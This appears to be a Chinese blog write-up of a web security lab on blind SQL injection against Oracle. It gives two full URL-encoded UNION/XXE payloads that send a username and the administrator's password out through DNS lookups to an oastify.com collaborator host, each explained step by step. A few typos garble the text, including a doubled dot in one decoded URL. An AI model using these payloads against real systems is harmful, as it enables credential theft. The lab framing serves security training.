
一、分析题目
该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询是异步执行的,不会对应用程序的响应产生影响。不过,我们可以触发与外部域的非带内交互。该数据库中有一个名为"users"的不同表,该表包含"username"(用户名)和"password"(密码)两列。我们需要利用盲 SQL 注入漏洞来找出管理员用户的密码。要解决此问题,请以管理员用户身份登录。
注意为防止 Academy 平台被用于攻击第三方,brup的防火墙会阻止实验室与任意外部系统的交互。要解决此问题,我们必须使用 Burp Collaborator 的默认公共服务器。
二、开始注入
1、获取用户名
在上一个靶场的的基础上https://blog.csdn.net/m0_65361643/article/details/150844133,让我们用dns外带出用户密码。只需要略微修改语句就行:
sql
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select username from users where rownum=1)||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
这串代码是一个针对 Oracle 数据库 的高级 SQL 注入 攻击载荷(payload)。它的最终目的不是直接在网页上显示数据,而是通过**"带外数据"(Out-of-Band)** 的技术,将数据库中的信息悄悄地发送到攻击者控制的服务器上。
整体概览
-
攻击类型: 联合查询SQL注入 (UNION-based SQL Injection) + XML外部实体注入 (XXE)
-
目标数据库: Oracle
-
攻击目的 : 窃取
users
表中的第一个用户名,并通过 DNS 请求发送出去。 -
核心技术 : 利用 Oracle 的
EXTRACTVALUE
和xmltype
函数处理恶意构造的 XML,触发一个 XXE 漏洞,强制数据库服务器向外发送一个包含敏感数据的 DNS 查询。
逐段分解解释
我们把这个复杂的载荷拆成几个部分来看:
sql
+UNION+SELECT+ ... +FROM+dual--
-
+
: 在 URL 中,+
通常代表空格。 -
UNION SELECT ...
: 这是 SQL 注入的核心。攻击者利用UNION
操作符将自己的恶意查询结果附加到原始的、合法的查询结果之后。 -
FROM dual
:dual
是 Oracle 数据库中的一个特殊的"伪表",它只有一行一列。在 Oracle 中,当你需要从一个不存在的表中SELECT
一个值时,通常会使用FROM dual
。 -
--
: 这是 SQL 中的注释符。它后面的所有原始 SQL 语句都会被忽略,从而防止原始查询的剩余部分干扰攻击者的UNION
查询,避免语法错误。
sql
EXTRACTVALUE(xmltype(...),'/l')
-
这是整个攻击载hundreds的核心和技巧所在。
-
EXTRACTVALUE(xml_document, xpath_expression)
: 这是 Oracle 的一个函数,用于从一个 XML 文档中提取由 XPath 表达式指定的值。 -
这个函数有一个"特性":如果 XPath 表达式无效或者在解析 XML 时发生错误,它会抛出一个包含错误信息的 Oracle 错误。攻击者正是利用了这个"报错"机制。
sql
xmltype('<%3fxml ... >')
-
xmltype(...)
: 这个函数将一个字符串转换成 Oracle 内部的 XML 数据类型。攻击者在这里构造了一个恶意的 XML 字符串。 -
'<%3fxml ... >'
: 这里是 URL 编码后的 XML 内容。我们解码后看看它的真面目:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select username from users where rownum=1)||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/"> %remote; ]>
这个 XML 内容本身就是一个 XML 外部实体注入 (XXE) 的载荷。
-
<!DOCTYPE root [...]>
: 定义了一个文档类型定义 (DTD)。 -
<!ENTITY % remote SYSTEM "..." >
: 这是关键部分。它定义了一个名为remote
的"参数实体"。SYSTEM
关键字告诉 XML 解析器,这个实体的内容需要从一个外部 URL 获取。 -
"http://'||(select username from users where rownum=1)||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/"
: 这不是一个固定的 URL,而是一个动态拼接的字符串,我们将brup生成的copy到这里。-
(select username from users where rownum=1)
: 这是一个子查询,它的作用是从users
表中获取第一行的username
。假设查出来的用户名是ADMIN
。 -
||
: 这是 Oracle 中的字符串拼接符。 -
拼接后的 URL 会变成:
http://ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/
。
-
-
%remote;
: 这一行引用(使用)了上面定义的实体。当 XML 解析器处理到这里时,它会尝试访问上面拼接好的那个 URL。
-
攻击流程总结
整个攻击过程就像一个精密的连锁反应:
-
注入 : 攻击者将这串代码注入到网站的一个易受攻击的参数中(例如,
id=...
)。 -
执行 SQL: 后端服务器接收到请求,并将这串恶意代码拼接到原始的 SQL 查询中,然后交给 Oracle 数据库执行。
-
解析 XML : 数据库执行到
EXTRACTVALUE
函数。为了获取 XML 的值,它必须先调用xmltype
来解析那段恶意的 XML 字符串。 -
触发 XXE : 在解析 XML 的过程中,XML 解析器遇到了
<!ENTITY ... SYSTEM ...>
。 -
窃取数据 : 解析器执行子查询
(select username from users where rownum=1)
,得到用户名(例如ADMIN
)。 -
构造 URL : 解析器将查询结果
ADMIN
拼接到 URL 中,构造出最终的 URL:http://ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/
。 -
发送 DNS 请求(带外通信) : 为了访问这个 URL,数据库服务器首先需要知道
ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com
的 IP 地址。因此,它会向 DNS 服务器发起一个 DNS 查询请求。 -
数据泄露 :
oastify.com
是一个公开的、用于安全测试的"带外交互"平台。攻击者正监视着这个域名。当数据库服务器的 DNS 请求到达时,攻击者就能从 DNS 查询日志中看到完整的子域名ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com
,从而成功窃取到了用户名ADMIN
。
整个过程中,攻击者不需要看到网页的任何返回内容,数据就已经通过 DNS 查询这个"侧信道"泄露了。
2、获取密码
sql
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select password from users where username='administrator')||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
整体概览
-
攻击类型: 联合查询 SQL 注入 (UNION-based SQL Injection) + XML 外部实体注入 (XXE)
-
目标数据库: Oracle
-
攻击目的 : 窃取
users
表中用户名为administrator
的密码,并通过 DNS 请求发送到攻击者控制的服务器。 -
核心技术 : 利用 Oracle 的
EXTRACTVALUE
和xmltype
函数,触发一个 XXE 漏洞,强制数据库服务器向外发送一个包含用户密码的 DNS 查询。
逐段分解解释
我们将这个载荷进行拆解分析:
sql
+UNION+SELECT+ ... +FROM+dual--
-
+
: URL 编码中的空格。 -
UNION SELECT ...
: SQL 注入的核心部分,用于将攻击者的恶意查询附加到原始查询之后。 -
FROM dual
: Oracle 特有的语法,用于执行不依赖于任何实际表的SELECT
查询。 -
--
: SQL 注释符,用于忽略原始查询中可能引发语法错误的剩余部分。
sql
EXTRACTVALUE(xmltype(...),'/l')
-
这是触发整个攻击链的关键函数。
-
EXTRACTVALUE(xml_document, xpath_expression)
: Oracle 中用于从 XML 文档中提取数据的函数。 -
攻击者利用了这个函数在处理恶意构造的 XML 时会向外发起网络请求的特性。
sql
xmltype('<%3fxml ... >')
-
xmltype(...)
: 将字符串转换为 Oracle 的 XML 数据类型。 -
'<%3fxml ... >'
: 括号内是 URL 编码后的恶意 XML。解码后内容如下:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/"> %remote; ]>
这个 XML 内容是实现数据窃取的关键:
-
<!DOCTYPE root [...]>
: 定义文档类型 (DTD)。 -
<!ENTITY % remote SYSTEM "..." >
: 定义一个名为remote
的外部参数实体。SYSTEM
关键字指示 XML 解析器需要从一个外部 URL 来获取该实体的内容。 -
"http://'||(select password from users where username='administrator')||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/"
: 这是一个动态拼接的 URL,是整个攻击的核心。-
(select password from users where username='administrator')
: 这是一个子查询,它的目标非常明确:从users
表中查询用户名为administrator
的password
字段的值。假设查询到的密码是P@ssw0rd123!
。 -
||
: Oracle 的字符串拼接操作符。 -
最终拼接成的 URL 将是:
http://P@ssw0rd123!..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/
。
-
-
%remote;
: 引用上面定义的实体。当 XML 解析器执行到这一行时,它会尝试访问上面构造出的 URL。
-
攻击流程总结
整个攻击的执行流程如下:
-
注入: 攻击者将此载荷提交给网站的某个易受 SQL 注入攻击的参数。
-
执行 SQL: Web 应用程序将恶意输入拼接到原始 SQL 语句中,并交由 Oracle 数据库执行。
-
解析 XML : 数据库执行
EXTRACTVALUE
函数,并调用xmltype
来解析其中的 XML 字符串。 -
触发 XXE: XML 解析器在 DTD 中发现了外部实体定义。
-
窃取数据 : 解析器为了构造 URL,首先执行了子查询
(select password from users where username='administrator')
,从数据库中获取了管理员的密码(例如P@ssw0rd123!
)。 -
构造 URL : 解析器将查询到的密码拼接到 URL 中,形成如
http://P@ssw0rd123!..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/
的地址。 -
发送 DNS 请求 : 为了访问这个 URL,数据库服务器必须先解析这个域名。因此,它会向配置的 DNS 服务器发起一个对
P@ssw0rd123!..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com
的 DNS 查询。 -
数据泄露 :
oastify.com
是一个攻击者可以监控的服务器(通常是用于安全测试的 OAST/Burp Collaborator 服务)。攻击者查看他收到的 DNS 查询日志,就能看到包含密码的完整子域名,从而成功窃取了管理员的密码。
这是一种极其危险的攻击,因为它绕过了直接的数据回显,通过侧信道(DNS 查询)将敏感信息悄无声息地传送出去。
三、成功通关
